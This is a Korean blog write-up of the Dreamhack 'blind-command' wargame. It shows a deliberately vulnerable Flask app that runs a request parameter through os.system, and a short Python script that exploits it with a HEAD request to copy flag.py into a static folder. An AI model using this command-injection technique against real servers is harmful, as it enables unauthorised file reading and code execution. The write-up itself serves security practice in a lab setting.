[Dreamhack] STAGE10. Web Hacking Epilogue
Web Hacking - Web Hacking Epilogue
- wargame : blind-command
Wargame : blind-command
blind command injection은 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다. 아래 코드는 문제 파일의 app.py인데, 메소드가 GET이 아닐 경우 cmd 파라미터로 전달된 값을 시스템 명령어로 실행시킨다.
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
풀이 1
1) httpie를 통해 해당 서버에 OPTIONS 메소드로 요청을 보냄
아래 결과와 같이, HEAD, GET, OPTIONS 세 가지 메소드를 사용할 수 있다는 것을 확인할 수 있다
2) HEAD 메소드로 우회하여 시도
하였으나 장렬히 실패함. 구글링 결과 burp suite를 사용해서 하는 방법만 나오는데 난 아직 burp suite를 깔지 않았으므로 (+귀찮으므로) 다른 방법을 찾았다
*사실 내가 httpie를 잘 다룰줄 아는 것은 아니라 httpie를 다루는 데에서 문제가 발생한 것인 지, httpie로는 불가능한 작업인 것인 지 모르겠다. httpie 연습 많이 할 것 ( + 일정 레벨 이상의 워게임 문제들을 원활하게 해결해나가기 위해서는 burp suite가 필수적이라고 느껴지긴 한다)
풀이 2
static이라는 폴더와 flag.txt 파일을 생성하고 flag.py의 내용을 읽어 저장하면 어떨까 싶어 현재 주소에서 flag.py를 cat 한 후, static/flag.txt에 저장하도록 코드를 작성하였다.
import requests
host = "http://host3.dreamhack.games:21943/"
params = {'cmd':'mkdir static; cat flag.py > static/flag.txt'}
req = requests.head(host, params=params)
위 코드를 실행 후 /static/flag.txt 로 접근한 결과, 아래와 같이 flag를 얻을 수 있었다